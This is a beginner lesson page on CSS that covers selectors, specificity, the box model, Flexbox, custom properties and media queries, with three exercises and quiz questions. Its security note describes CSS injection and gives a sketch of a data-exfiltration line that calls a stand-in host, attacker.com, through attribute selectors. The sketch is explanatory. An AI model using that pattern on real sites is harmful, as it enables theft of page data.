CSS Basics & Selectors

Style web pages with CSS: selectors, the box model, Flexbox, responsive design, and CSS variables for maintainable stylesheets.

Easy 50m 3 tasks

Prerequisites: HTML Fundamentals

Learning Objectives

→ Link stylesheets and write CSS rules with selectors
→ Explain the box model: content, padding, border, margin
→ Use Flexbox for layouts
→ Write media queries for responsive design
→ Use CSS custom properties (variables)

Linking CSS

<!-- External (preferred) -->
<link rel="stylesheet" href="styles.css">

<!-- Internal (for quick tests) -->
<style>
  body { background: #0a0a0a; }
</style>

<!-- Inline (avoid — hard to maintain) -->
<p style="color: red;">Text</p>

Selectors

/* Element */
p { color: #ccc; }

/* Class */
.alert { color: red; }

/* ID */
#header { background: #111; }

/* Attribute */
input[type="password"] { border: 1px solid #ff0; }

/* Descendant */
nav a { text-decoration: none; }

/* Direct child */
ul > li { list-style: none; }

/* Pseudo-class */
a:hover  { color: #0ff; }
li:first-child { font-weight: bold; }
input:focus { outline: 2px solid #0ff; }

/* Pseudo-element */
p::before { content: "→ "; }

Specificity

When multiple rules target the same element, specificity determines which wins:

Selector type	Specificity
`!important`	Overrides all
Inline style	1000
ID `#foo`	100
Class `.bar`	10
Element `p`	1

Higher specificity wins. Equal specificity: last rule wins (cascade).

The Box Model

Every element is a rectangular box:

┌──────────────────────────┐  ← margin
│  ┌────────────────────┐  │  ← border
│  │  ┌──────────────┐  │  │  ← padding
│  │  │   content    │  │  │
│  │  └──────────────┘  │  │
│  └────────────────────┘  │
└──────────────────────────┘

.card {
  width: 300px;
  padding: 16px;          /* inside border */
  border: 1px solid #333;
  margin: 24px auto;      /* outside border */
  box-sizing: border-box; /* width includes padding+border */
}

Always use box-sizing: border-box globally:

*, *::before, *::after {
  box-sizing: border-box;
}

Flexbox

Flexbox makes one-dimensional layouts easy:

.container {
  display: flex;
  flex-direction: row;         /* row | column */
  justify-content: space-between; /* main axis */
  align-items: center;         /* cross axis */
  gap: 16px;
  flex-wrap: wrap;
}

.item {
  flex: 1;         /* grow to fill space */
  min-width: 200px;
}

Common patterns:

/* Center anything */
.center {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* Sticky footer */
body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
}
main { flex: 1; }

CSS Variables

:root {
  --color-bg:      #0a0a0a;
  --color-primary: #00d4ff;
  --color-text:    #e2e8f0;
  --font-mono:     'Fira Code', monospace;
  --radius:        8px;
}

.card {
  background: var(--color-bg);
  color: var(--color-text);
  border-radius: var(--radius);
}

/* Override in dark/light themes */
@media (prefers-color-scheme: light) {
  :root { --color-bg: #ffffff; }
}

Media Queries (Responsive Design)

/* Mobile first */
.grid {
  display: flex;
  flex-direction: column;
}

/* Tablet */
@media (min-width: 768px) {
  .grid { flex-direction: row; }
}

/* Desktop */
@media (min-width: 1024px) {
  .grid { gap: 32px; }
}

/* Print */
@media print {
  nav, footer { display: none; }
}

Typography

body {
  font-family: 'Inter', system-ui, sans-serif;
  font-size: 16px;       /* base */
  line-height: 1.6;      /* readable */
  color: #e2e8f0;
}

h1 { font-size: 2rem; margin-bottom: 0.5em; }
h2 { font-size: 1.5rem; }

code {
  font-family: 'Fira Code', monospace;
  background: #1e293b;
  padding: 2px 6px;
  border-radius: 4px;
}

Security Note

CSS can be used in attacks:
- CSS injection — attacker injects styles that exfiltrate data via background: url(https://attacker.com/?data=...) attribute selectors
- Always sanitize user input before rendering in HTML/CSS

Create styles.css for the scan-results page from Lesson 2. Add: dark background (#0a0a0a), monospace font for the table, highlight open ports in green and closed in red using classes.

✦ Answer the questions to complete this task

What property sets the background color?

What selector targets elements with class 'open'?

Build a navigation bar using Flexbox: logo on the left, links on the right. Links should change color on hover. Make it responsive — stack vertically below 600px.

✦ Answer the questions to complete this task

What CSS property enables Flexbox on a container?

What property aligns flex items along the main axis?

Create a :root block with variables for background, primary color, text color, and border radius. Use them throughout your stylesheet. Then add a prefers-color-scheme: light override.

✦ Answer the questions to complete this task

How do you declare a CSS custom property?

How do you use a CSS variable in a rule?